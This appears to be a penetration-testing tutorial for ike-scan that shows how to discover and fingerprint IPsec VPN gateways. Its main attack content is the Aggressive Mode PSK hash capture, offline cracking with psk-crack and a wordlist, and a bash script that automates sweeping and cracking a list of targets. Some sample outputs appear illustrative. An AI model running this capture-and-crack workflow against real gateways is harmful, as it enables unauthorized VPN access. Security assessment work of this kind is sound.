ike-scan: Identifies VPN servers and devices using IKE

ike-scan is a command-line tool for discovering, fingerprinting, and testing IPsec VPN servers that use IKE (Internet Key Exchange, UDP/500) for key negotiation. Written by Roy Hills (NTA Monitor), it sends IKE Phase 1 (Main Mode or Aggressive Mode) packets to target hosts and analyzes the responses to determine whether a host is running an IPsec VPN endpoint, which vendor/implementation it is (via VPN fingerprinting of the IKE backoff/retransmission pattern), and — critically — in Aggressive Mode, it can capture the PSK (pre-shared key) authentication hash, which can then be cracked offline with tools like ike-scan‘s companion cracker psk-crack or hashcat/john.

This makes ike-scan a key tool whenever port 500/UDP (or NAT-T 4500/UDP) is discovered open during a scan — it converts “an IPsec service is present” into “here is the VPN vendor, and here is a crackable PSK hash if Aggressive Mode is enabled.”

Installation

# Kali Linux (preinstalled)
sudo apt update
sudo apt install ike-scan -y

# Verify
ike-scan --version
which ike-scan

Syntax

ike-scan [options] <target-ip>

Command-Line Options

Basic Usage

Send a default Main Mode probe to check for an IKE responder:

ike-scan 192.168.10.50

Expected output:

Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.10.50	Main Mode Handshake returned
	HDR=(CKY-R=a1b2c3d4e5f60718)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (draft-ietf-ipsec-nat-t-ike-02)

Ending ike-scan 1.9.5: 1 hosts scanned in 1.216 seconds (0.82 hosts/sec).  1 returned handshake; 0 returned notify

Practical Examples

Example 1 — Basic Main Mode discovery scan

ike-scan 192.168.10.50

192.168.10.50	Main Mode Handshake returned
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)

Example 2 — Scanning an entire subnet for IKE responders

ike-scan 192.168.10.0/24

Starting ike-scan 1.9.5 with 256 hosts
192.168.10.50	Main Mode Handshake returned
192.168.10.60	Main Mode Handshake returned

Ending ike-scan 1.9.5: 256 hosts scanned in 41.883 seconds (6.11 hosts/sec). 2 returned handshake; 0 returned notify

Example 3 — Aggressive Mode to capture PSK hash

ike-scan -A --id=vpn-group -P 192.168.10.50

192.168.10.50	Aggressive Mode Handshake returned
	HDR=(CKY-R=9182736450abcdef)
	SA=(Enc=AES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration=3600)
	KeyExchange(128 bytes)
	Nonce(20 bytes)
	ID(Type=ID_IPV4_ADDR, Value=192.168.10.50)
	Hash(20 bytes)

192.168.10.50 Aggressive Mode PSK hash: 
192.168.10.50:1:...:...:PSK*hash-value-in-psk-crack-format

Example 4 — Saving the PSK hash directly to a file for cracking

ike-scan -A --id=vpn-group -P=psk_hashes.txt 192.168.10.50

192.168.10.50	Aggressive Mode Handshake returned
[+] PSK hash written to psk_hashes.txt

Example 5 — Cracking the captured PSK hash with the bundled psk-crack tool

psk-crack -d /usr/share/wordlists/rockyou.txt psk_hashes.txt

Starting psk-crack [ike-scan 1.9.5] (http://www.nta-monitor.com/tools/ike-scan/)
key "SummerVPN2026" matches SHA1 hash 9182736450abcdef...
Ending psk-crack: 14344399 iterations in 38.221 seconds (375400.12 iterations/sec)

Example 6 — VPN vendor fingerprinting via backoff pattern

ike-scan --showbackoff 192.168.10.50

192.168.10.50	Main Mode Handshake returned
IKE Backoff Patterns:
192.168.10.50	Implementation guess: Cisco IOS/PIX

Example 7 — Verbose mode for detailed packet analysis

ike-scan -v 192.168.10.50

Starting ike-scan 1.9.5 with 1 hosts
192.168.10.50	Sending packet #1
192.168.10.50	Main Mode Handshake returned after 0.045 seconds

Example 8 — Testing IKEv2 instead of IKEv1

ike-scan -2 192.168.10.50

192.168.10.50	Notify message 43 (INVALID_MAJOR_VERSION)

Example 9 — Scanning via NAT-Traversal port (UDP/4500)

ike-scan -n 192.168.10.50

192.168.10.50	Main Mode Handshake returned
	SA=(Enc=AES Hash=SHA256 Group=14:modp2048 Auth=PSK)

Example 10 — Reading multiple targets from a file

cat vpn_targets.txt
# 192.168.10.50
# 192.168.10.60
# 203.0.113.5

ike-scan -f vpn_targets.txt

Starting ike-scan 1.9.5 with 3 hosts
192.168.10.50	Main Mode Handshake returned
192.168.10.60	Main Mode Handshake returned
203.0.113.5	No response

Ending ike-scan 1.9.5: 3 hosts scanned in 6.5 seconds (0.46 hosts/sec). 2 returned handshake; 0 returned notify

Common Use Cases

• Confirming that a UDP/500 port flagged by nmap is genuinely an IPsec IKE VPN endpoint
• Fingerprinting VPN vendor/implementation (Cisco, Fortinet, Juniper, etc.) via handshake retransmission backoff timing
• Capturing PSK authentication hashes from Aggressive-Mode-enabled VPN gateways for offline password cracking
• Assessing whether a site-to-site or remote-access VPN gateway is misconfigured to allow weak Aggressive Mode negotiation (a well-known, widely reported vulnerability class)
• Building an inventory of all IPsec VPN endpoints across a large external IP range during an authorized external assessment

Automation with Bash

#!/bin/bash
# ike_sweep_and_crack.sh - Discover IKE hosts, attempt aggressive mode + PSK capture, then crack
TARGETS="vpn_targets.txt"
WORDLIST="/usr/share/wordlists/rockyou.txt"
OUTDIR="./ike_results"
mkdir -p "$OUTDIR"

while read -r ip; do
    echo "[*] Probing $ip (Main Mode)"
    ike-scan "$ip" > "$OUTDIR/${ip}_main.txt"

    if grep -q "Handshake returned" "$OUTDIR/${ip}_main.txt"; then
        echo "[+] $ip responded - trying Aggressive Mode"
        ike-scan -A --id=vpn -P="$OUTDIR/${ip}_psk.txt" "$ip" > "$OUTDIR/${ip}_agg.txt"

        if [ -s "$OUTDIR/${ip}_psk.txt" ]; then
            echo "[+] PSK hash captured for $ip - attempting to crack"
            psk-crack -d "$WORDLIST" "$OUTDIR/${ip}_psk.txt" | tee "$OUTDIR/${ip}_cracked.txt"
        fi
    fi
done < "$TARGETS"

Tips and Best Practices

• Always try default Main Mode first; only escalate to -A (Aggressive Mode) once you’ve confirmed the host responds to IKE at all — Aggressive Mode probes are noisier and more likely to be logged/alerted on.
• The --id value matters for many vendor implementations (particularly Cisco) — try common group names (vpn, ravpn, the organization name) if the default doesn’t elicit a response.
• Use --showbackoff for reliable vendor fingerprinting; it’s based on retransmission timing rather than banner text, so it works even when the vendor doesn’t leak version info directly.
• Always attempt UDP/4500 (-n, NAT-T) in addition to UDP/500 — many VPN gateways sit behind NAT and only respond on the NAT-Traversal port.
• Treat any successful Aggressive Mode PSK capture + crack as a critical finding — it often means full VPN access with just a username/group ID and a weak shared secret.

Troubleshooting

References

• Official tool page: https://github.com/royhills/ike-scan
• Kali Linux tool page: https://www.kali.org/tools/ike-scan/
• NTA Monitor IKE Aggressive Mode PSK vulnerability background: https://nta-monitor.com/wp-content/uploads/2018/06/ike-scan-readme.txt